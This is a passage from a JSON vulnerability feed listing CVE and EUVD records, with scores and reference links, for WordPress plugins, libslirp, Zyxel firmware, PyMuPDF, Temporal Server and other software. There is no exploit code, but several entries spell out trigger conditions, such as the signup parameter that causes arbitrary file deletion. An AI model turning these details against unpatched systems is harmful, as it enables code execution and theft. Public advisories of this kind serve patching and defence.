form.","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":0.00779,"ranking_epss":0.55954,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2025-48158","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L488","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L494","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L507","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L526","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L587","https://www.wordfence.com/threat-intel/vulnerabilities/id/1a53bcf5-61ed-427c-9efd-29c9309d2426?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:31","euvd":{"id":"EUVD-2026-115659","description":"The BuddyPress XProfile Image Field plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 3.1.0. This is due to bpxp_image_field_update_on_user_activation() calling unlink() on a path built from visitor-supplied signup metadata with no realpath() resolution, no containment check against the profile-image directory and no extension allow-list. Submitting a zero-byte file with the 'field_N_hidden' parameter during registration makes the plugin store the raw value, which is then resolved against the document root when the pending signup is activated. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file (such as wp-config.php) is deleted. Requires open registration and an image-type profile field on the signup form.","published_time":"2026-11-03T04:43:06","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/1a53bcf5-61ed-427c-9efd-29c9309d2426?source=cve","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L526","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L488","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L494","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L507","https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L587","https://nvd.nist.gov/vuln/detail/CVE-2025-48158"],"products":["BuddyPress XProfile Custom Image Field"],"vendors":["kalengi"]},"ghsa":null},{"cve_id":"CVE-2026-120524","summary":"The News Kit Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formData' parameter in all versions up to, and including, 1.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because an operator-precedence bug in handle_scripts() causes the admin bundle — and its inlined nekit-admin-nonce — to be enqueued on every admin screen accessible to Subscribers (such as /wp-admin/profile.php), and because sanitize_text_field() is applied to the raw JSON string before json_decode(), allowing angle brackets encoded as \\u003c/\\u003e to survive sanitization and be restored to literal angle brackets, enabling overwrite of _elementor_data on any post.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":0.00195,"ranking_epss":0.09297,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L1578","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L1582","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L732","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L748","https://plugins.trac.wordpress.org/changeset?reponame=&old=3749965%40news-kit-elementor-addons&new=3749965%40news-kit-elementor-addons","https://www.wordfence.com/threat-intel/vulnerabilities/id/7793c171-8aca-461c-9942-9f4d075be5ae?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:31","euvd":{"id":"EUVD-2026-115664","description":"The News Kit Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formData' parameter in all versions up to, and including, 1.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because an operator-precedence bug in handle_scripts() causes the admin bundle — and its inlined nekit-admin-nonce — to be enqueued on every admin screen accessible to Subscribers (such as /wp-admin/profile.php), and because sanitize_text_field() is applied to the raw JSON string before json_decode(), allowing angle brackets encoded as \\u003c/\\u003e to survive sanitization and be restored to literal angle brackets, enabling overwrite of _elementor_data on any post.","published_time":"2026-11-03T04:43:08","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/7793c171-8aca-461c-9942-9f4d075be5ae?source=cve","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L1582","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L1578","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L732","https://plugins.trac.wordpress.org/browser/news-kit-elementor-addons/tags/1.4.7/admin/admin.php#L748","https://plugins.trac.wordpress.org/changeset?reponame=&old=3749965%40news-kit-elementor-addons&new=3749965%40news-kit-elementor-addons"],"products":["News Kit Addons For Elementor"],"vendors":["blazethemes"]},"ghsa":null},{"cve_id":"CVE-2026-120534","summary":"The Advanced Custom Fields: Extended PRO plugin for WordPress is vulnerable to Limited Code Injection in all versions up to, and including, 0.9.2.6 via the render_field function. This is due to insufficient validation of form configuration parameters before merging into field settings and passing to call_user_func_array in the render_field method. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions with controlled arguments. Method 1 requires the administrator to enable the non-default 'shortcode_preview' setting for the target form, while Method 2 requires the server environment to lack OpenSSL functions, causing ACF Pro's acf_decrypt to fall back to unverified base64 decoding.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":0.00312,"ranking_epss":0.2415,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.acf-extended.com/changelog","https://www.wordfence.com/threat-intel/vulnerabilities/id/b8a7a925-2b9e-43bc-b649-c7ec518e063c?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:31","euvd":{"id":"EUVD-2026-115668","description":"The Advanced Custom Fields: Extended PRO plugin for WordPress is vulnerable to Limited Code Injection in all versions up to, and including, 0.9.2.6 via the render_field function. This is due to insufficient validation of form configuration parameters before merging into field settings and passing to call_user_func_array in the render_field method. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions with controlled arguments. Method 1 requires the administrator to enable the non-default 'shortcode_preview' setting for the target form, while Method 2 requires the server environment to lack OpenSSL functions, causing ACF Pro's acf_decrypt to fall back to unverified base64 decoding.","published_time":"2026-11-03T04:43:09","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/b8a7a925-2b9e-43bc-b649-c7ec518e063c?source=cve","https://www.acf-extended.com/changelog"],"products":["Advanced Custom Fields: Extended PRO"],"vendors":["ACF Extended"]},"ghsa":null},{"cve_id":"CVE-2026-111464","summary":"The WP Fastest Cache plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.5.3. The plugin caches the response of Core’s wp-activate.php without honoring its no-store/no-cache headers, the wp-activate-* cookie, or the WP_INSTALLING state, writing the credential-bearing activation response to a publicly accessible cache file. This makes it possible for unauthenticated attackers to retrieve the plaintext username and twelve-character password of the most recently activated Multisite registrant from that cached wp-activate.php response. Exploitation requires a Multisite subdirectory installation with public user and site registration enabled, and the credentials are only exposed after a genuine registrant follows their activation link.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":0.00417,"ranking_epss":0.36004,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L1027","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L1400","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L452","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L567","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L83","https://plugins.trac.wordpress.org/changeset/3749897/wp-fastest-cache","https://www.wordfence.com/threat-intel/vulnerabilities/id/83539a88-b90e-49f0-a599-b3f83b2d97b9?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T03:16:42","euvd":{"id":"EUVD-2026-115657","description":"The WP Fastest Cache plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.5.3. The plugin caches the response of Core’s wp-activate.php without honoring its no-store/no-cache headers, the wp-activate-* cookie, or the WP_INSTALLING state, writing the credential-bearing activation response to a publicly accessible cache file. This makes it possible for unauthenticated attackers to retrieve the plaintext username and twelve-character password of the most recently activated Multisite registrant from that cached wp-activate.php response. Exploitation requires a Multisite subdirectory installation with public user and site registration enabled, and the credentials are only exposed after a genuine registrant follows their activation link.","published_time":"2026-11-03T02:31:19","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/83539a88-b90e-49f0-a599-b3f83b2d97b9?source=cve","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L1027","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L452","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L567","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L1400","https://plugins.trac.wordpress.org/browser/wp-fastest-cache/tags/1.5.2/inc/cache.php#L83","https://plugins.trac.wordpress.org/changeset/3749897/wp-fastest-cache"],"products":["WP Fastest Cache – WordPress Cache Plugin"],"vendors":["emrevona"]},"ghsa":null},{"cve_id":"CVE-2026-120831","summary":"A flaw was found in libslirp in if_output(). When moving a session from the fast queue to the batch queue, the code unlinked and reinserted an arbitrary packet via ifm->m_nextpkt instead of the session queue head, corrupting queue pointers. A guest generating burst traffic could crash the host networking process, causing a denial of service.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":0.00265,"ranking_epss":0.18519,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-120831","https://bugzilla.redhat.com/show_bug.cgi?id=2565425","https://gitlab.freedesktop.org/slirp/libslirp/-/commit/bad35bd3b529dc47aa109980a69a36da7848ab76"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T02:16:53","euvd":{"id":"EUVD-2026-115656","description":"A flaw was found in libslirp in if_output(). When moving a session from the fast queue to the batch queue, the code unlinked and reinserted an arbitrary packet via ifm->m_nextpkt instead of the session queue head, corrupting queue pointers. A guest generating burst traffic could crash the host networking process, causing a denial of service.","published_time":"2026-11-03T01:55:20","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-120831","https://bugzilla.redhat.com/show_bug.cgi?id=2565425","https://gitlab.freedesktop.org/slirp/libslirp/-/commit/bad35bd3b529dc47aa109980a69a36da7848ab76"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-76955","summary":"A buffer overflow vulnerability in the zdp_wtp binary in Zyxel NWA110AX firmware versions through 7.12(ABTG.0)C0 could allow a LAN-based attacker to escalate privileges on an affected device.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":0.00252,"ranking_epss":0.16795,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-buffer-overflow-vulnerability-in-certain-aps-fwa7-and-security-routers-11-03-2026"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T02:16:53","euvd":{"id":"EUVD-2026-115655","description":"A buffer overflow vulnerability in the zdp_wtp binary in Zyxel NWA110AX firmware versions through 7.12(ABTG.0)C0 could allow a LAN-based attacker to escalate privileges on an affected device.","published_time":"2026-11-03T01:54:55","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Zyxel","references":["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-buffer-overflow-vulnerability-in-certain-aps-fwa7-and-security-routers-11-03-2026"],"products":["NWA110AX firmware"],"vendors":["Zyxel"]},"ghsa":null},{"cve_id":"CVE-2026-107441","summary":"An out-of-bounds write vulnerability in the CGI program of Zyxel GS1900-24E firmware versions through 2.90(AAHK.2)C0 could allow an unauthenticated adjacent attacker  to exploit the flaw and potentially execute OS commands via a crafted HTTP request.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":0.00293,"ranking_epss":0.21968,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-out-of-bounds-write-vulnerability-in-gs1900-series-switches-11-03-2026"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T02:16:52","euvd":{"id":"EUVD-2026-115654","description":"An out-of-bounds write vulnerability in the CGI program of Zyxel GS1900-24E firmware versions through 2.90(AAHK.2)C0 could allow an unauthenticated adjacent attacker  to exploit the flaw and potentially execute OS commands via a crafted HTTP request.","published_time":"2026-11-03T01:41:52","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Zyxel","references":["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-out-of-bounds-write-vulnerability-in-gs1900-series-switches-11-03-2026"],"products":["GS1900-24E firmware","GS1900-10HP firmware","GS1900-48 firmware","GS1900-8 Firmware","GS1900-24EP firmware","GS1900-48HPv2 firmware","GS1900-8HP firmware","GS1900-HPv2 firmware","GS1900-24 firmware","GS1900-16 firmware"],"vendors":["Zyxel"]},"ghsa":null},{"cve_id":"CVE-2026-120833","summary":"labbench before 0.46.1 contains a deserialization of untrusted data vulnerability in read() and read_relational() that passes any file with a .p or .pickle extension to pandas.read_pickle based on the extension alone. Attackers who supply a crafted data file or relational data archive can execute arbitrary code when a user loads it with these functions.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.5,"epss":0.00144,"ranking_epss":0.03733,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/usnistgov/labbench","https://github.com/usnistgov/labbench/blob/0.46.0/src/labbench/_data.py#L1664-L1666","https://github.com/usnistgov/labbench/blob/0.46.1/ChangeLog.md","https://github.com/usnistgov/labbench/commit/ac9b9b18cba67cb8e85eb563b6bb7dc1092b4c54","https://github.com/usnistgov/labbench/pull/32","https://pypi.org/project/labbench/0.46.1/","https://www.vulncheck.com/advisories/labbench-before-0.46.1-deserialization-of-untrusted-data-via-read-pickle-auto-dispatch"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T01:16:52","euvd":{"id":"EUVD-2026-115652","description":"labbench before 0.46.1 contains a deserialization of untrusted data vulnerability in read() and read_relational() that passes any file with a .p or .pickle extension to pandas.read_pickle based on the extension alone. Attackers who supply a crafted data file or relational data archive can execute arbitrary code when a user loads it with these functions.","published_time":"2026-11-03T00:13:42","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/usnistgov/labbench/pull/32","https://github.com/usnistgov/labbench/commit/ac9b9b18cba67cb8e85eb563b6bb7dc1092b4c54","https://github.com/usnistgov/labbench/blob/0.46.0/src/labbench/_data.py#L1664-L1666","https://github.com/usnistgov/labbench/blob/0.46.1/ChangeLog.md","https://pypi.org/project/labbench/0.46.1/","https://github.com/usnistgov/labbench","https://www.vulncheck.com/advisories/labbench-before-0.46.1-deserialization-of-untrusted-data-via-read-pickle-auto-dispatch"],"products":["labbench"],"vendors":["NIST"]},"ghsa":null},{"cve_id":"CVE-2026-105770","summary":"Octo STS (github.com/octo-sts/app) before 0.11.2 returns trust policy configuration to callers whose OIDC token does not satisfy that policy. TrustPolicy.CheckToken included the policy's issuer, subject and audience values or patterns and claim_pattern names and regular expressions in its PermissionDenied errors, which Exchange returned verbatim. Exchange also selected the GitHub App installation before checking the token, so errors from resolving the policy's app or app_pattern pin were returned to callers the policy does not trust. An attacker who holds any validly signed OIDC token, such as a GitHub Actions token from a repository they own, and who knows or guesses a target owner/repo and identity name can read that policy's matching rules, even when the policy is stored in a private repository. These rules often name internal repositories, branches, environments or cloud account identifiers. The issue does not allow minting tokens or bypassing a trust policy. This issue is fixed in 0.11.2.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00256,"ranking_epss":0.17373,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/octo-sts/app/commit/88c6432adc4f497ec69b574e1ce162a564a9e71a","https://github.com/octo-sts/app/releases/tag/v0.11.2","https://github.com/octo-sts/app/security/advisories/GHSA-h5p6-j8m9-xx4p"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T01:16:44","euvd":{"id":"EUVD-2026-115653","description":"Octo STS (github.com/octo-sts/app) before 0.11.2 returns trust policy configuration to callers whose OIDC token does not satisfy that policy. TrustPolicy.CheckToken included the policy's issuer, subject and audience values or patterns and claim_pattern names and regular expressions in its PermissionDenied errors, which Exchange returned verbatim. Exchange also selected the GitHub App installation before checking the token, so errors from resolving the policy's app or app_pattern pin were returned to callers the policy does not trust. An attacker who holds any validly signed OIDC token, such as a GitHub Actions token from a repository they own, and who knows or guesses a target owner/repo and identity name can read that policy's matching rules, even when the policy is stored in a private repository. These rules often name internal repositories, branches, environments or cloud account identifiers. The issue does not allow minting tokens or bypassing a trust policy. This issue is fixed in 0.11.2.","published_time":"2026-11-03T00:41:24","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"chainguard","references":["https://github.com/octo-sts/app/security/advisories/GHSA-h5p6-j8m9-xx4p","https://github.com/octo-sts/app/commit/88c6432adc4f497ec69b574e1ce162a564a9e71a","https://github.com/octo-sts/app/releases/tag/v0.11.2"],"products":["App"],"vendors":["octo-sts"]},"ghsa":null},{"cve_id":"CVE-2026-120830","summary":"A flaw was found in libslirp in icmp_forward_error(). When building an ICMP error response, the length of the quoted original IPv4 packet was taken from the IP header without clamping it to the actual buffer length. A truncated or malformed packet could cause an out-of-bounds heap read, leaking host memory into the ICMP error packet returned to a guest or container.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":0.00221,"ranking_epss":0.12784,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-120830","https://bugzilla.redhat.com/show_bug.cgi?id=2565424","https://gitlab.freedesktop.org/slirp/libslirp/-/commit/21b33a6c5588af9f58d15e528fdc1019452708e4"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T00:17:18","euvd":{"id":"EUVD-2026-115651","description":"A flaw was found in libslirp in icmp_forward_error(). When building an ICMP error response, the length of the quoted original IPv4 packet was taken from the IP header without clamping it to the actual buffer length. A truncated or malformed packet could cause an out-of-bounds heap read, leaking host memory into the ICMP error packet returned to a guest or container.","published_time":"2026-11-03T00:00:35","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-120830","https://bugzilla.redhat.com/show_bug.cgi?id=2565424","https://gitlab.freedesktop.org/slirp/libslirp/-/commit/21b33a6c5588af9f58d15e528fdc1019452708e4"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-71450","summary":"Authentication bypass using an alternate path or channel vulnerability in Johnson Controls EasyIO Neo EC and CW Edge Controller allows Authentication Bypass.\n\nThis issue affects EasyIO Neo EC and CW Edge Controller: from EC 3.3b62 through EC 3.3b63 and from CW 3.3b24 through CW 3.3b25.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.7,"epss":0.00283,"ranking_epss":0.20865,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T23:17:21","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-120752","summary":"PyMuPDF 1.25.3 before 2.0 contains a stack-based buffer overflow vulnerability in JM_set_annot_callout_line() that copies a caller-supplied number of callout points into a fixed three-element stack array. Attackers who control the callout argument passed to Page.add_freetext_annot() can supply four or more points to overwrite the stack frame, crashing the process or executing code.","cvss":7.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":7.7,"epss":0.00373,"ranking_epss":0.31359,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/pymupdf/PyMuPDF","https://github.com/pymupdf/PyMuPDF/blob/1.28.2/src/extra.i#L787-L797","https://github.com/pymupdf/PyMuPDF/commit/d4298ead84ceeae1c9065c81cd9a275a1b092f5e","https://github.com/pymupdf/PyMuPDF/issues/5112","https://github.com/pymupdf/PyMuPDF/issues/5173","https://github.com/pymupdf/PyMuPDF/releases/tag/2.0","https://www.vulncheck.com/advisories/pymupdf-1.25.3-before-2.0-stack-buffer-overflow-via-add-freetext-annot-callout"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T23:17:20","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-111565","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T23:17:19","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-120597","summary":"A vulnerability was identified in Welcart e-Commerce Plugin up to 2.12.6 on WordPress. This affects the function ESCOTT_MAIN::error_page_message of the file classes/paymentESCOTT.main.class.php. Such manipulation of the argument ResponseCd leads to cross site scripting. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version 2.12.7 mitigates this issue. It is recommended to upgrade the affected component. The value is now escaped with esc_html() before output. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","cvss":2.1,"cvss_version":4.0,"cvss_v2":5.0,"cvss_v3":4.3,"cvss_v4":2.1,"epss":0.00278,"ranking_epss":0.20363,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/bevennyamande/welcart-poc","https://vuldb.com/cve/CVE-2026-120597","https://vuldb.com/submit/1039186","https://vuldb.com/vuln/429933","https://vuldb.com/vuln/429933/cti","https://wordpress.org/plugins/usc-e-shop/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T23:17:19","euvd":{"id":"EUVD-2026-115649","description":"A vulnerability was identified in Welcart e-Commerce Plugin up to 2.12.6 on WordPress. This affects the function ESCOTT_MAIN::error_page_message of the file classes/paymentESCOTT.main.class.php. Such manipulation of the argument ResponseCd leads to cross site scripting. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version 2.12.7 mitigates this issue. It is recommended to upgrade the affected component. The value is now escaped with esc_html() before output. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","published_time":"2026-11-02T22:30:20","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/429933","https://vuldb.com/vuln/429933/cti","https://vuldb.com/cve/CVE-2026-120597","https://vuldb.com/submit/1039186","https://github.com/bevennyamande/welcart-poc","https://wordpress.org/plugins/usc-e-shop/"],"products":["e-Commerce Plugin","e-Commerce Plugin","e-Commerce Plugin","e-Commerce Plugin","e-Commerce Plugin","e-Commerce Plugin","e-Commerce Plugin"],"vendors":["Welcart"]},"ghsa":null},{"cve_id":"CVE-2026-86596","summary":"The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927 via the 'item_name' parameter parameter. This is due to insufficient sanitization in strip_php_tags_deep(), which only strips literal '<?' sequences, combined with a post-interpolation placeholder cleanup that reassembles a valid '<?php' opener after the attacker-controlled value has already been embedded in the email template. This makes it possible for authenticated attackers, with custom-level access and above, to execute code on the server.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-subscr-or-wa-w-level.inc.php#L514","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L104","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L131","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L138","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in.inc.php#L49","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utilities.inc.php#L49","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utils-strings.inc.php#L201","https://plugins.trac.wordpress.org/changeset/3722434/s2member","https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:23","euvd":{"id":"EUVD-2026-115642","description":"The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927 via the 'item_name' parameter parameter. This is due to insufficient sanitization in strip_php_tags_deep(), which only strips literal '<?' sequences, combined with a post-interpolation placeholder cleanup that reassembles a valid '<?php' opener after the attacker-controlled value has already been embedded in the email template. This makes it possible for authenticated attackers, with custom-level access and above, to execute code on the server.","published_time":"2026-11-02T21:30:23","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126?source=cve","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utilities.inc.php#L49","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L138","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L131","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L104","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utils-strings.inc.php#L201","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in.inc.php#L49","https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-subscr-or-wa-w-level.inc.php#L514","https://plugins.trac.wordpress.org/changeset/3722434/s2member"],"products":["s2Member – Excellent for All Kinds of Memberships, Content Restriction Paywalls & Member Access Subscriptions"],"vendors":["clavaque"]},"ghsa":null},{"cve_id":"CVE-2026-120740","summary":"A flaw was found in hivex. By supplying a specially crafted Windows registry hive file, an attacker can trigger an out-of-bounds memory read when hivex parses registry values containing malformed large data block lists. This issue can cause the application processing the registry file to crash, resulting in a Denial of Service (DoS).","cvss":2.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":2.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-120740","https://bugzilla.redhat.com/show_bug.cgi?id=2565405"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T22:17:21","euvd":{"id":"EUVD-2026-115639","description":"A flaw was found in hivex. By supplying a specially crafted Windows registry hive file, an attacker can trigger an out-of-bounds memory read when hivex parses registry values containing malformed large data block lists. This issue can cause the application processing the registry file to crash, resulting in a Denial of Service (DoS).","published_time":"2026-11-02T21:54:45","cvss":2.0,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-120740","https://bugzilla.redhat.com/show_bug.cgi?id=2565405"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-120091","summary":"Temporal Server compiles a Worker Controller Instance module, go.temporal.io/auto-scaled-workers, into its Worker Service, and that module registers a compute provider named k8s whose function is to manage workers running in a Kubernetes cluster. The k8s provider built its Kubernetes client from the client configuration supplied in the caller's request rather than from operator configuration, and building and using that client could run a command of the caller's choosing on the Worker Service host, under the account the server process runs as. Two frontend operations reach the provider. CreateWorkerDeploymentVersion requires a namespace write role. ValidateWorkerDeploymentVersionComputeConfig is registered as a read-only namespace operation, so an authenticated caller holding only a read role in a single namespace can reach the provider through it, and that route does not require a worker deployment to already exist. Execution happens while the submitted configuration is validated, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster's TLS material, the consequence reaches beyond the caller's namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container 